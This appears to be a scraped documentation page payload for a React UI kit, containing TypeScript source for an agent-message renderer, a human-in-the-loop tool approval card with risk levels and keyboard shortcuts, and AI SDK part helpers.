57:I[707087,["/_next/static/immutable/chunks/3arlv5bvukoo2.js","/_next/static/immutable/chunks/39v64hmfyo-sr.js","/_next/static/immutable/chunks/2nvof3-29tvc3.js","/_next/static/immutable/chunks/3tjobt77z_9dj.js","/_next/static/immutable/chunks/04j_o97cgxn2x.js","/_next/static/immutable/chunks/3upr08c9vtj8w.js","/_next/static/immutable/chunks/1ww0328si-u8x.js","/_next/static/immutable/chunks/11mfl5ymqld9-.js","/_next/static/immutable/chunks/2xxcqy6ppds3l.js","/_next/static/immutable/chunks/3j06ow7w40nxu.js","/_next/static/immutable/chunks/31nn7jwsjvqii.js","/_next/static/immutable/chunks/43_s7jweyypoh.js","/_next/static/immutable/chunks/0p6vao205o1jc.js","/_next/static/immutable/chunks/1_kyvgkyokw92.js","/_next/static/immutable/chunks/1lo-zn37dolb5.js","/_next/static/immutable/chunks/1v8k6yxw1rg0u.js"],"RegistryDependencies"] 58:I[544296,["/_next/static/immutable/chunks/3arlv5bvukoo2.js","/_next/static/immutable/chunks/39v64hmfyo-sr.js","/_next/static/immutable/chunks/2nvof3-29tvc3.js","/_next/static/immutable/chunks/3tjobt77z_9dj.js","/_next/static/immutable/chunks/04j_o97cgxn2x.js","/_next/static/immutable/chunks/3upr08c9vtj8w.js","/_next/static/immutable/chunks/1ww0328si-u8x.js","/_next/static/immutable/chunks/11mfl5ymqld9-.js","/_next/static/immutable/chunks/2xxcqy6ppds3l.js","/_next/static/immutable/chunks/3j06ow7w40nxu.js","/_next/static/immutable/chunks/31nn7jwsjvqii.js","/_next/static/immutable/chunks/43_s7jweyypoh.js","/_next/static/immutable/chunks/0p6vao205o1jc.js","/_next/static/immutable/chunks/1_kyvgkyokw92.js","/_next/static/immutable/chunks/1lo-zn37dolb5.js","/_next/static/immutable/chunks/1v8k6yxw1rg0u.js"],"ItemStyles"] 59:I[8513,["/_next/static/immutable/chunks/3arlv5bvukoo2.js","/_next/static/immutable/chunks/39v64hmfyo-sr.js","/_next/static/immutable/chunks/2nvof3-29tvc3.js","/_next/static/immutable/chunks/3tjobt77z_9dj.js","/_next/static/immutable/chunks/04j_o97cgxn2x.js","/_next/static/immutable/chunks/3upr08c9vtj8w.js","/_next/static/immutable/chunks/1ww0328si-u8x.js","/_next/static/immutable/chunks/11mfl5ymqld9-.js","/_next/static/immutable/chunks/2xxcqy6ppds3l.js","/_next/static/immutable/chunks/3j06ow7w40nxu.js","/_next/static/immutable/chunks/31nn7jwsjvqii.js","/_next/static/immutable/chunks/43_s7jweyypoh.js","/_next/static/immutable/chunks/0p6vao205o1jc.js","/_next/static/immutable/chunks/1_kyvgkyokw92.js","/_next/static/immutable/chunks/1lo-zn37dolb5.js","/_next/static/immutable/chunks/1v8k6yxw1rg0u.js"],"ScrollArea"] 73:I[314491,["/_next/static/immutable/chunks/3arlv5bvukoo2.js","/_next/static/immutable/chunks/39v64hmfyo-sr.js","/_next/static/immutable/chunks/2nvof3-29tvc3.js","/_next/static/immutable/chunks/3tjobt77z_9dj.js","/_next/static/immutable/chunks/04j_o97cgxn2x.js","/_next/static/immutable/chunks/3upr08c9vtj8w.js","/_next/static/immutable/chunks/1ww0328si-u8x.js","/_next/static/immutable/chunks/11mfl5ymqld9-.js","/_next/static/immutable/chunks/2xxcqy6ppds3l.js","/_next/static/immutable/chunks/3j06ow7w40nxu.js","/_next/static/immutable/chunks/31nn7jwsjvqii.js","/_next/static/immutable/chunks/43_s7jweyypoh.js","/_next/static/immutable/chunks/0p6vao205o1jc.js","/_next/static/immutable/chunks/1_kyvgkyokw92.js","/_next/static/immutable/chunks/1lo-zn37dolb5.js","/_next/static/immutable/chunks/1v8k6yxw1rg0u.js"],"FilesView"] 51:["$","span",null,{"className":"min-w-0 break-all text-xs font-medium","children":"remark-gfm"}] 52:["$","li","remend",{"className":"min-w-0 max-w-full","children":["$","a",null,{"href":"https://www.npmjs.com/package/remend","target":"_blank","rel":"noopener noreferrer","className":"flex max-w-full min-w-0 items-center gap-1.5 rounded-md border px-2 py-1.5 text-xs","children":[["$","svg",null,{"viewBox":"0 0 24 24","className":"size-3 shrink-0","children":["$","path",null,{"d":"M1.763 0C.786 0 0 .786 0 1.763v20.474C0 23.214.786 24 1.763 24h20.474c.977 0 1.763-.786 1.763-1.763V1.763C24 .786 23.214 0 22.237 0zM5.13 5.323l13.837.019-.009 13.836h-3.464l.01-10.382h-3.456L12.04 19.17H5.113z","fill":"currentColor"}]}],["$","span",null,{"className":"min-w-0 break-all text-xs font-medium","children":"remend"}]]}]}] 53:["$","li","tailwind-merge",{"className":"min-w-0 max-w-full","children":["$","a",null,{"href":"https://www.npmjs.com/package/tailwind-merge","target":"_blank","rel":"noopener noreferrer","className":"flex max-w-full min-w-0 items-center gap-1.5 rounded-md border px-2 py-1.5 text-xs","children":[["$","svg",null,{"viewBox":"0 0 24 24","className":"size-3 shrink-0","children":["$","path",null,{"d":"M1.763 0C.786 0 0 .786 0 1.763v20.474C0 23.214.786 24 1.763 24h20.474c.977 0 1.763-.786 1.763-1.763V1.763C24 .786 23.214 0 22.237 0zM5.13 5.323l13.837.019-.009 13.836h-3.464l.01-10.382h-3.456L12.04 19.17H5.113z","fill":"currentColor"}]}],["$","span",null,{"className":"min-w-0 break-all text-xs font-medium","children":"tailwind-merge"}]]}]}] 54:["$","$L57",null,{"namespace":"@agent-ui-kit","registryDependencies":[]}] 55:["$","$L58",null,{"children":["$","div",null,{"className":"@container","children":["$","div",null,{"className":"grid grid-cols-1 gap-4 @xl:grid-cols-2","children":[["$","div",null,{"className":"flex flex-col border rounded-md","children":[["$","p",null,{"className":"text-sm font-medium border-b p-2","children":"Light Mode"}],["$","div",null,{"children":["$","$L59",null,{"type":"always","className":"h-80 px-2","children":[["$","div",null,{"className":"gap-2 pb-8 flex flex-col pt-4","children":[["$","div","aui-bg",{"className":"items-start gap-1 grid grid-cols-2 text-sm","children":[["$","div",null,{"className":"hover:bg-muted/50 py-2","children":["$","p",null,{"className":"text-foreground/80 text-sm","children":["--","aui-bg",":"]}]}],["$","div",null,{"className":"hover:bg-muted/50 py-2 px-1 rounded-md w-full","children":"#ffffff"}]]}],["$","div","aui-surface",{"className":"items-start gap-1 grid grid-cols-2 text-sm","children":[["$","div",null,{"className":"hover:bg-muted/50 py-2","children":["$","p",null,{"className":"text-foreground/80 text-sm","children":["--","aui-surface",":"]}]}],["$","div",null,{"className":"hover:bg-muted/50 py-2 px-1 rounded-md w-full","children":"#f6f7f9"}]]}],["$","div","aui-surface-2",{"className":"items-start gap-1 grid grid-cols-2 text-sm","children":[["$","div",null,{"className":"hover:bg-muted/50 py-2","children":["$","p",null,{"className":"text-foreground/80 text-sm","children":["--","aui-surface-2",":"]}]}],["$","div",null,{"className":"hover:bg-muted/50 py-2 px-1 rounded-md w-full","children":"#eef0f3"}]]}],["$","div","aui-border",{"className":"items-start gap-1 grid grid-cols-2 text-sm","children":[["$","div",null,{"className":"hover:bg-muted/50 py-2","children":["$","p",null,{"className":"text-foreground/80 text-sm","children":["--","aui-border",":"]}]}],["$","div",null,{"className":"hover:bg-muted/50 py-2 px-1 rounded-md w-full","children":"#e2e5ea"}]]}],["$","div","aui-border-strong",{"className":"items-start gap-1 grid grid-cols-2 text-sm","children":[["$","div",null,{"className":"hover:bg-muted/50 py-2","children":["$","p",null,{"className":"text-foreground/80 text-sm","children":["--","aui-border-strong",":"]}]}],["$","div",null,{"className":"hover:bg-muted/50 py-2 px-1 rounded-md w-full","children":"#cdd2d9"}]]}],["$","div","aui-fg",{"className":"items-start gap-1 grid grid-cols-2 text-sm","children":[["$","div",null,{"className":"hover:bg-muted/50 py-2","children":["$","p",null,{"className":"text-foreground/80 text-sm","children":["--","aui-fg",":"]}]}],["$","div",null,{"className":"hover:bg-muted/50 py-2 px-1 rounded-md w-full","children":"#0d0f12"}]]}],["$","div","aui-fg-muted",{"className":"items-start gap-1 grid grid-cols-2 text-sm","children":[["$","div",null,{"className":"hover:bg-muted/50 py-2","children":["$","p",null,{"className":"text-foreground/80 text-sm","children":["--","aui-fg-muted",":"]}]}],["$","div",null,{"className":"hover:bg-muted/50 py-2 px-1 rounded-md w-full","children":"#4b5563"}]]}],["$","div","aui-fg-subtle",{"className":"items-start gap-1 grid grid-cols-2 text-sm","children":[["$","div",null,{"className":"hover:bg-muted/50 py-2","children":["$","p",null,{"className":"text-foreground/80 text-sm","children":["--","aui-fg-subtle",":"]}]}],["$","div",null,{"className":"hover:bg-muted/50 py-2 px-1 rounded-md w-full","children":"#5f6875"}]]}],["$","div","aui-accent",{"className":"items-start gap-1 grid grid-cols-2 text-sm","children":[["$","div",null,{"className":"hover:bg-muted/50 py-2","children":["$","p",null,{"className":"text-foreground/80 text-sm","children":["--","aui-accent",":"]}]}],["$","div",null,{"className":"hover:bg-muted/50 py-2 px-1 rounded-md w-full","children":"#0e7490"}]]}],["$","div","aui-accent-fg",{"className":"items-start gap-1 grid grid-cols-2 text-sm","children":[["$","div",null,{"className":"hover:bg-muted/50 py-2","children":["$","p",null,{"className":"text-foreground/80 text-sm","children":["--","aui-accent-fg",":"]}]}],["$","div",null,{"className":"hover:bg-muted/50 py-2 px-1 rounded-md w-full","children":"#155e75"}]]}],["$","div","aui-on-accent",{"className":"items-start gap-1 grid grid-cols-2 text-sm","children":[["$","div",null,{"className":"hover:bg-muted/50 py-2","children":["$","p",null,{"className":"text-foreground/80 text-sm","children":["--","aui-on-accent",":"]}]}],"$L5a"]}],"$L5b","$L5c","$L5d","$L5e","$L5f","$L60","$L61","$L62","$L63","$L64","$L65","$L66","$L67","$L68","$L69","$L6a","$L6b","$L6c","$L6d","$L6e"]}],"$L6f"]}]}]]}],"$L70","$L71","$L72"]}]}]}] 74:T2446,'use client'; import { useMemo, type ComponentPropsWithoutRef, type ReactNode } from 'react'; import { ToolApprovalCard, type ApprovalCardProps, type ToolApprovalResponse } from './approval-card'; import { getSourceParts, getToolPartName, isToolPart, type AnyUIPart, type ToolPart, type UIMessage } from './lib/ai'; import { useToolTimings, type ToolTimings } from './lib/hooks'; import { FileIcon, ImageIcon } from './lib/icons'; import { getImagePolicy, isAllowedImage, type ImagePolicy } from './lib/images'; import { Img } from './lib/primitives'; import { cn } from './lib/utils'; import { Markdown } from './markdown'; import { Reasoning } from './reasoning'; import { Sources } from './sources'; import { ToolCallTimeline, type ToolMeta } from './tool-call-timeline'; type DataPart = Extract; type FilePart = Extract; export interface AgentMessageProps extends Omit, 'children'> { message: Pick; /** The message is still being generated. Text parts with an explicit `state` take precedence. */ streaming?: boolean; /** * Whether the run can still make progress, including while it waits on the user. Default `true`. * Pass `false` once it has ended (stopped, failed, or an older message): tool calls that never * settled read "Stopped" instead of running forever. See `ToolCallTimeline`'s `active`. */ active?: boolean; tools?: Record | undefined; /** * Render a tool part yourself. Return `undefined` to use the default timeline, * or `null` to render nothing. Custom-rendered parts split the timeline. */ renderTool?: ((part: ToolPart) => ReactNode | undefined) | undefined; /** Enables inline approval cards. Pass `useChat().addToolApprovalResponse`. */ onToolApproval?: ((response: ToolApprovalResponse) => void | PromiseLike) | undefined; /** Props forwarded to every approval card, e.g. `{ autoFocus: true }`. */ approvalProps?: Partial> | undefined; /** Render `data-*` parts. They are skipped when omitted. */ renderData?: ((part: DataPart) => ReactNode) | undefined; showSources?: boolean; sourcesVariant?: 'chips' | 'cards'; /** * Where images in text, reasoning and image file parts may load from: host names, * `'self'` for relative URLs, or `'*'` for every image. Default: none, so other images render * as links. File parts with `data:` and `blob:` URLs always preview. See * `MarkdownProps.allowedImageHosts`. */ allowedImageHosts?: readonly string[] | undefined; /** Externally measured tool timings. Measured client-side when omitted. */ timings?: ToolTimings | undefined; } type Segment = | { kind: 'text'; key: string; text: string; streaming: boolean } | { kind: 'reasoning'; key: string; text: string; streaming: boolean } | { kind: 'tools'; key: string; parts: ToolPart[] } | { kind: 'node'; key: string; node: ReactNode } | { kind: 'file'; key: string; part: FilePart }; /** * Renders an assistant `UIMessage` part by part: streaming markdown, collapsible * reasoning, consecutive tool calls grouped into a timeline (with inline approval * cards), files, and the message's sources with linked inline citations. */ export function AgentMessage({ message, streaming = false, active = true, tools, renderTool, onToolApproval, approvalProps, renderData, showSources = true, sourcesVariant = 'chips', allowedImageHosts, timings: timingsProp, className, ...props }: AgentMessageProps) { const parts = message.parts; const measured = useToolTimings(parts); const timings = timingsProp ?? measured; const sources = useMemo(() => (showSources ? getSourceParts(parts) : []), [parts, showSources]); const sourcePrefix = `${message.id}-source`; const imagePolicy = useMemo(() => getImagePolicy(allowedImageHosts), [allowedImageHosts]); const segments = useMemo(() => { const out: Segment[] = []; const lastIndex = parts.length - 1; parts.forEach((part, i) => { const key = `${i}`; if (part.type === 'text') { if (!part.text) return; out.push({ kind: 'text', key, text: part.text, streaming: part.state ? part.state === 'streaming' : streaming && i === lastIndex, }); } else if (part.type === 'reasoning') { if (!part.text && part.state !== 'streaming') return; out.push({ kind: 'reasoning', key, text: part.text, streaming: part.state ? part.state === 'streaming' : streaming && i === lastIndex, }); } else if (isToolPart(part)) { const custom = renderTool?.(part); if (custom !== undefined) { out.push({ kind: 'node', key: part.toolCallId, node: custom }); return; } const prev = out.at(-1); if (prev?.kind === 'tools') prev.parts.push(part); else out.push({ kind: 'tools', key: part.toolCallId, parts: [part] }); } else if (part.type === 'file') { out.push({ kind: 'file', key, part }); } else if (part.type.startsWith('data-')) { // Data part ids are unique per type only (the SDK reconciles parts by type and id). const id = (part as DataPart).id; if (renderData) out.push({ kind: 'node', key: id === undefined ? key : `${part.type}:${id}`, node: renderData(part as DataPart), }); } }); return out; }, [parts, streaming, renderTool, renderData]); return (

{segments.map((segment) => { switch (segment.kind) { case 'text': return ( {segment.text} ); case 'reasoning': return ( ); case 'tools': return ( part.approval ? ( ) : null : undefined } /> ); case 'file': return ; case 'node': return

{segment.node}

; } })} {sources.length > 0 && ( )}

); } /** Inline content (`data:`) and local objects (`blob:`) need no request; other URLs follow the policy. */ const canPreview = (url: string, policy: ImagePolicy) => /^(data|blob):/i.test(url) || isAllowedImage(url, policy); function FileAttachment({ part, imagePolicy }: { part: FilePart; imagePolicy: ImagePolicy }) { const name = part.filename ?? part.mediaType; const image = part.mediaType.startsWith('image'); if (image && canPreview(part.url, imagePolicy)) { return (

); } const Icon = image ? ImageIcon : FileIcon; return ( {name} (opens in a new tab) ); } 75:T49fe,'use client'; import { useEffect, useId, useRef, useState, type ComponentPropsWithoutRef, type KeyboardEvent, type ReactNode, } from 'react'; import { getApprovalRequestReason, getApprovalStatus, getToolPartName, isAutomaticApproval, type ApprovalStatus, type ToolPart, } from './lib/ai'; import { humanizeToolName } from './lib/format'; import { BanIcon, CheckIcon, ShieldIcon, TerminalIcon } from './lib/icons'; import { JsonView, Kbd, LiveRegion } from './lib/primitives'; import { useIsMac } from './lib/hooks'; import { cn, hasModifier, isPromiseLike, isTypingTarget, type HeadingLevel } from './lib/utils'; import type { RiskLevel, ToolMeta } from './tool-call-timeline'; export type { ApprovalStatus, RiskLevel }; export interface ApprovalCardProps extends Omit, 'title' | 'children' | 'part'> { /** Name of the tool or action that needs approval. */ toolName: string; /** Heading. Defaults to the humanized tool name. */ title?: ReactNode; /** Why the agent wants to do this, e.g. the SDK's `approval.requestReason`. */ description?: ReactNode; /** Arguments the action will run with. */ input?: unknown; risk?: RiskLevel; /** Custom arguments preview. Defaults to a command line for `{ command }` inputs, else JSON. */ preview?: ReactNode; /** * Default "pending". Approve and deny fire once: further presses (a double click, Y then N) are * ignored until `status` changes, the promise the handler returned settles, or the handler throws. */ status?: ApprovalStatus; /** Reason recorded with the decision, shown once resolved. */ reason?: string | undefined; /** * A policy, not a person, made the decision (the SDK's `approval.isAutomatic`): once resolved, * the card reads "Auto-approved" or "Blocked by policy" instead of "Approved" or "Denied". */ automatic?: boolean; /** Fires once per decision: see `status`. May return a promise. */ onApprove?: () => void | PromiseLike; /** Fires once per decision: see `status`. May return a promise. */ onDeny?: (reason?: string) => void | PromiseLike; /** Y / N shortcuts while focus is inside the card. Default `true`. */ shortcuts?: boolean; /** Also approve with ⌘/Ctrl+Enter from anywhere on the page while pending. Default `false`. */ globalShortcut?: boolean; /** Move focus to the card when it mounts in the pending state. Default `false`. */ autoFocus?: boolean; /** Offer an optional free-text reason when denying. Default `true`. */ allowReason?: boolean; approveLabel?: string; denyLabel?: string; /** Heading level for the title, to fit your document outline. Default 3. */ headingLevel?: HeadingLevel; } const RISK: Record = { low: { label: 'Low risk', badge: 'border-aui-border-strong text-aui-fg-muted', card: 'border-aui-border', icon: 'bg-aui-surface-2 text-aui-fg-muted', }, medium: { label: 'Medium risk', badge: 'border-aui-warn/40 bg-aui-warn/10 text-aui-warn-fg', card: 'border-aui-warn/30', icon: 'bg-aui-warn/10 text-aui-warn-fg', }, high: { label: 'High risk', badge: 'border-aui-hot/45 bg-aui-hot/10 text-aui-hot-fg', card: 'border-aui-hot/40', icon: 'bg-aui-hot/12 text-aui-hot-fg', }, critical: { label: 'Critical', badge: 'border-aui-hot bg-aui-hot text-aui-on-hot', card: 'border-aui-hot/70 shadow-[0_0_0_3px_color-mix(in_oklab,var(--aui-hot)_14%,transparent)]', icon: 'bg-aui-hot/15 text-aui-hot-fg', }, }; function DefaultPreview({ input }: { input: unknown }) { if (input && typeof input === 'object' && 'command' in input && typeof input.command === 'string') { const cwd = 'cwd' in input && typeof input.cwd === 'string' ? input.cwd : undefined; return (

{cwd &&

{cwd}

}

{input.command}

); } if (input === undefined) return null; return ; } /** * Human-in-the-loop approval for a pending agent action. Shows what will run, * how risky it is, and lets the user approve or deny by mouse or keyboard. * Critical actions require a second confirming press. */ export function ApprovalCard({ toolName, title, description, input, risk = 'medium', preview, status = 'pending', reason, automatic = false, onApprove, onDeny, shortcuts = true, globalShortcut = false, autoFocus = false, allowReason = true, approveLabel = 'Approve', denyLabel = 'Deny', headingLevel = 3, className, ...props }: ApprovalCardProps) { const Heading = `h${headingLevel}` as const; const ids = useId(); const titleId = `${ids}-title`; const descId = `${ids}-desc`; const hintId = `${ids}-hint`; const reasonId = `${ids}-reason`; const cardRef = useRef(null); const reasonRef = useRef(null); const [confirming, setConfirming] = useState(false); const [reasonOpen, setReasonOpen] = useState(false); const [reasonText, setReasonText] = useState(''); const [announcement, setAnnouncement] = useState(''); const confirmTimer = useRef | undefined>(undefined); const pending = status === 'pending'; const r = RISK[risk]; const heading = title ?? humanizeToolName(toolName); const mac = useIsMac(); const mod = mac ? '⌘' : 'Ctrl'; // One decision per pending period, so a double click cannot send two (see `status`). const decided = useRef(false); useEffect(() => { decided.current = false; }, [status]); const decide = (handler: () => unknown) => { decided.current = true; let result: unknown; try { result = handler(); } catch (error) { // A failed handler sent nothing: let the user try again. decided.current = false; throw error; } if (isPromiseLike(result)) { // Released when it settles either way; a rejection stays unhandled, as it would without the card. void Promise.resolve(result).finally(() => { decided.current = false; }); } }; const approve = () => { if (!pending || decided.current) return; if (risk === 'critical' && !confirming) { setConfirming(true); setAnnouncement('Critical action. Press approve again to confirm.'); clearTimeout(confirmTimer.current); confirmTimer.current = setTimeout(() => setConfirming(false), 4000); return; } clearTimeout(confirmTimer.current); setAnnouncement('Approved'); cardRef.current?.focus(); decide(() => onApprove?.()); }; const deny = (withReason?: string) => { if (!pending || decided.current) return; setAnnouncement('Denied'); cardRef.current?.focus(); const reason = withReason?.trim() ? withReason.trim() : undefined; decide(() => onDeny?.(reason)); }; const openReason = () => setReasonOpen(true); useEffect(() => { if (reasonOpen) reasonRef.current?.focus(); }, [reasonOpen]); useEffect(() => () => clearTimeout(confirmTimer.current), []); useEffect(() => { if (autoFocus && pending) cardRef.current?.focus(); // Only on mount: re-focusing on every render would steal focus. // eslint-disable-next-line react-hooks/exhaustive-deps }, []); const approveRef = useRef(approve); useEffect(() => { approveRef.current = approve; }); useEffect(() => { if (!globalShortcut || !pending) return; const onKey = (event: globalThis.KeyboardEvent) => { if (event.key === 'Enter' && (event.metaKey || event.ctrlKey) && !event.defaultPrevented) { event.preventDefault(); approveRef.current(); } }; window.addEventListener('keydown', onKey); return () => window.removeEventListener('keydown', onKey); }, [globalShortcut, pending]); const onKeyDown = (event: KeyboardEvent) => { if (!pending || !shortcuts) return; if (event.key === 'Enter' && (event.metaKey || event.ctrlKey)) { if (isTypingTarget(event.target)) return; event.preventDefault(); approve(); return; } if (isTypingTarget(event.target) || hasModifier(event) || event.shiftKey) return; const key = event.key.toLowerCase(); if (key === 'y') { event.preventDefault(); approve(); } else if (key === 'n') { event.preventDefault(); deny(); } }; return ( // Shortcuts are scoped to focus within the card (WCAG 2.1.4); the actions themselves are real buttons.

{announcement} {pending ? ( <> {(risk === 'high' || risk === 'critical') && (

)}

Approval required

{r.label}

{heading} {description && (

{description}

)}

{preview ?? } {reasonOpen && (

Tell the agent why (optional)

setReasonText(e.target.value)}
                  onKeyDown={(e) => {
                    // The Enter that commits an IME composition (Japanese, Chinese, Korean…) is not a submit.
                    if (e.nativeEvent.isComposing || e.keyCode === 229) return;
                    if (e.key === 'Enter' && !e.shiftKey) {
                      e.preventDefault();
                      deny(reasonText);
                    } else if (e.key === 'Escape') {
                      e.preventDefault();
                      setReasonOpen(false);
                      cardRef.current?.focus();
                    }
                  }}
                  placeholder="e.g. Use the existing Redis client instead"
                  className="border-aui-border-strong bg-aui-bg text-aui-fg placeholder:text-aui-fg-subtle focus-visible:outline-aui-ring w-full resize-none rounded-lg border px-3 py-2 text-[13px] focus-visible:outline-2 focus-visible:outline-offset-0"
                />
              </div>
            )}

<div className="flex flex-wrap items-center gap-2">
              {shortcuts && (
                <p id={hintId} className="text-aui-fg-subtle mr-auto hidden items-center gap-1.5 text-xs sm:flex">
                  <span className="sr-only">Keyboard: press Y to approve, N to deny, or {mod} Enter to approve.</span>
                  <span aria-hidden="true" className="flex items-center gap-1.5">
                    <Kbd>{mod}</Kbd>
                    <Kbd>↵</Kbd>
                    <span>approve</span>
                  </span>
                </p>
              )}
              <div className="ml-auto flex flex-wrap items-center justify-end gap-2">
                {allowReason && !reasonOpen && (
                  <button
                    type="button"
                    onClick={openReason}
                    className="text-aui-fg-muted hover:text-aui-fg focus-visible:outline-aui-ring cursor-pointer rounded-md px-2 py-1.5 text-xs underline-offset-2 hover:underline focus-visible:outline-2 focus-visible:outline-offset-1"
                  >
                    Deny with feedback
                  </button>
                )}
                <div className="flex items-center gap-2">
                  <button
                    type="button"
                    data-slot="approval-deny"
                    aria-keyshortcuts={shortcuts ? 'N' : undefined}
                    onClick={() => deny(reasonOpen ? reasonText : undefined)}
                    className="border-aui-border-strong bg-aui-surface-2 text-aui-fg hover:border-aui-fg-subtle hover:bg-aui-bg focus-visible:outline-aui-ring inline-flex h-8 cursor-pointer items-center gap-2 rounded-lg border px-3 text-[13px] font-medium transition-colors focus-visible:outline-2 focus-visible:outline-offset-2"
                  >
                    {reasonOpen ? 'Send denial' : denyLabel}
                    {shortcuts && !reasonOpen && <Kbd aria-hidden="true">N</Kbd>}
                  </button>
                  <button
                    type="button"
                    data-slot="approval-approve"
                    aria-keyshortcuts={shortcuts ? `Y ${mac ? 'Meta' : 'Control'}+Enter` : undefined}
                    onClick={approve}
                    className={cn(
                      'focus-visible:outline-aui-ring inline-flex h-8 cursor-pointer items-center gap-2 rounded-lg px-3 text-[13px] font-semibold transition-[background-color,box-shadow] focus-visible:outline-2 focus-visible:outline-offset-2',
                      confirming
                        ? 'bg-aui-hot text-aui-on-hot hover:bg-aui-hot/90'
                        : 'bg-aui-accent text-aui-on-accent hover:bg-aui-accent/90 shadow-[0_0_0_1px_color-mix(in_oklab,var(--aui-accent)_40%,transparent),0_6px_20px_-8px_var(--aui-accent)]',
                    )}
                  >
                    {confirming ? 'Confirm approval' : approveLabel}
                    {shortcuts && (
                      <Kbd aria-hidden="true" className="border-current/25 bg-transparent text-current/80">
                        Y
                      </Kbd>
                    )}
                  </button>
                </div>
              </div>
            </div>
          </div>
        </>
      ) : (
        <div className="flex items-center gap-2.5 px-3.5 py-2.5 text-[13px]">
          {status === 'approved' ? (
            <CheckIcon size={15} className="text-aui-accent-fg shrink-0" />
          ) : (
            <BanIcon size={15} className="text-aui-hot-fg shrink-0" />
          )}
          <span className="text-aui-fg font-semibold">
            {status === 'approved'
              ? automatic
                ? 'Auto-approved'
                : 'Approved'
              : automatic
                ? 'Blocked by policy'
                : 'Denied'}
          </span>
          <Heading id={titleId} className="text-aui-fg-muted min-w-0 truncate">
            {heading}
          </Heading>
          {reason && <span className="text-aui-fg-subtle min-w-0 truncate">· {reason}</span>}
        </div>
      )}
    </section>
  );
}

export interface ToolApprovalResponse {
  id: string;
  approved: boolean;
  reason?: string;
}

export interface ToolApprovalCardProps extends Omit<
  ApprovalCardProps,
  'toolName' | 'input' | 'status' | 'onApprove' | 'onDeny' | 'reason' | 'automatic'
> {
  part: ToolPart;
  /** Matches `useChat().addToolApprovalResponse`, so you can pass it directly. */
  onRespond: (response: ToolApprovalResponse) => void | PromiseLike<void>;
  meta?: ToolMeta | undefined;
}

/**
 * `ApprovalCard` bound to an AI SDK tool part in the approval flow. Renders nothing for parts without
 * one, or while a policy's automatic decision is still arriving: nobody needs to act on it.
 */
export function ToolApprovalCard({ part, onRespond, meta, risk, description, title, ...props }: ToolApprovalCardProps) {
  const status = getApprovalStatus(part);
  if (!status || !part.approval) return null;
  const automatic = isAutomaticApproval(part.approval);
  if (automatic && status === 'pending') return null;
  const approvalId = part.approval.id;
  const resolvedRisk = risk ?? (typeof meta?.risk === 'function' ? meta.risk(part.input) : meta?.risk);
  return (
    <ApprovalCard
      toolName={getToolPartName(part)}
      title={title ?? part.title ?? meta?.label}
      description={description ?? getApprovalRequestReason(part.approval)}
      input={part.input}
      risk={resolvedRisk}
      status={status}
      reason={part.approval.reason}
      automatic={automatic}
      onApprove={() => onRespond({ id: approvalId, approved: true })}
      onDeny={(reason) =>
        onRespond(reason ? { id: approvalId, approved: false, reason } : { id: approvalId, approved: false })
      }
      {...props}
    />
  );
}
76:T25f3,/**
 * Thin, dependency-free helpers over AI SDK v7 `UIMessage` parts.
 * Only types are imported from `ai`, so nothing from the SDK runtime ends up in the bundle.
 */
import type {
  ChatStatus,
  DynamicToolUIPart,
  LanguageModelUsage,
  ReasoningUIPart,
  SourceDocumentUIPart,
  SourceUrlUIPart,
  TextUIPart,
  ToolUIPart,
  UIMessage,
  UITools,
} from 'ai';

/**
 * Fields AI SDK 7 added to a tool part's `approval`: whether a `toolApproval` policy decided it,
 * and why the tool asked. AI SDK 6 has neither, so they are read defensively.
 */
type ApprovalExtras = { isAutomatic?: unknown; requestReason?: unknown } | undefined;

/** Whether a policy decided the approval rather than a person. Always false on AI SDK 6. */
export function isAutomaticApproval(approval: object | undefined): boolean {
  return (approval as ApprovalExtras)?.isAutomatic === true;
}

/** The reason the tool gave for asking (AI SDK 7's `requestReason`), if any. */
export function getApprovalRequestReason(approval: object | undefined): string | undefined {
  const reason = (approval as ApprovalExtras)?.requestReason;
  return typeof reason === 'string' ? reason : undefined;
}

export type { ChatStatus, UIMessage };

/** Any part of any `UIMessage`. */
export type AnyUIPart = UIMessage['parts'][number];
/** A static (`tool-${name}`) or dynamic tool part. */
export type ToolPart = ToolUIPart<UITools> | DynamicToolUIPart;
/** The AI SDK v7 tool part states. */
export type ToolState = ToolPart['state'];
export type SourcePart = SourceUrlUIPart | SourceDocumentUIPart;
export type { ReasoningUIPart, SourceDocumentUIPart, SourceUrlUIPart, TextUIPart };

/** Token usage, compatible with the AI SDK `LanguageModelUsage` shape. */
export type RunUsage = {
  inputTokens?: number | undefined;
  outputTokens?: number | undefined;
  totalTokens?: number | undefined;
  inputTokenDetails?: Partial<LanguageModelUsage['inputTokenDetails']> | undefined;
  outputTokenDetails?: Partial<LanguageModelUsage['outputTokenDetails']> | undefined;
};

export const TOOL_STATES = [
  'input-streaming',
  'input-available',
  'approval-requested',
  'approval-responded',
  'output-available',
  'output-error',
  'output-denied',
] as const satisfies readonly ToolState[];

export function isToolPart(part: { type: string }): part is ToolPart {
  return part.type === 'dynamic-tool' || part.type.startsWith('tool-');
}

export function isSourcePart(part: { type: string }): part is SourcePart {
  return part.type === 'source-url' || part.type === 'source-document';
}

/** Same semantics as the SDK's `getToolName`, without the runtime import. */
export function getToolPartName(part: ToolPart): string {
  return part.type === 'dynamic-tool' ? part.toolName : part.type.slice('tool-'.length);
}

/**
 * A UI-level phase derived from the SDK tool state. Several SDK states collapse
 * into one visual phase (e.g. an approved call that has not returned yet is "running").
 */
export type ToolPhase = 'streaming' | 'running' | 'awaiting-approval' | 'success' | 'error' | 'denied';

export function getToolPhase(
  part: Pick<ToolPart, 'state'> & {
    approval?: { approved?: boolean; isAutomatic?: boolean } | undefined;
    preliminary?: boolean | undefined;
  },
): ToolPhase {
  switch (part.state) {
    case 'input-streaming':
      return 'streaming';
    case 'input-available':
      return 'running';
    case 'approval-requested':
      // A policy decision (`isAutomatic`) streams as a request immediately followed by its response.
      return part.approval?.isAutomatic ? 'running' : 'awaiting-approval';
    case 'approval-responded':
      return part.approval?.approved ? 'running' : 'denied';
    case 'output-available':
      return part.preliminary ? 'running' : 'success';
    case 'output-error':
      return 'error';
    case 'output-denied':
      return 'denied';
  }
}

export const TOOL_PHASE_LABEL: Record<ToolPhase, string> = {
  streaming: 'Preparing',
  running: 'Running',
  'awaiting-approval': 'Needs approval',
  success: 'Done',
  error: 'Failed',
  denied: 'Denied',
};

export function isSettledPhase(phase: ToolPhase): boolean {
  return phase === 'success' || phase === 'error' || phase === 'denied';
}

export function getToolParts(parts: readonly AnyUIPart[]): ToolPart[] {
  return parts.filter(isToolPart);
}

export type ApprovalStatus = 'pending' | 'approved' | 'denied';

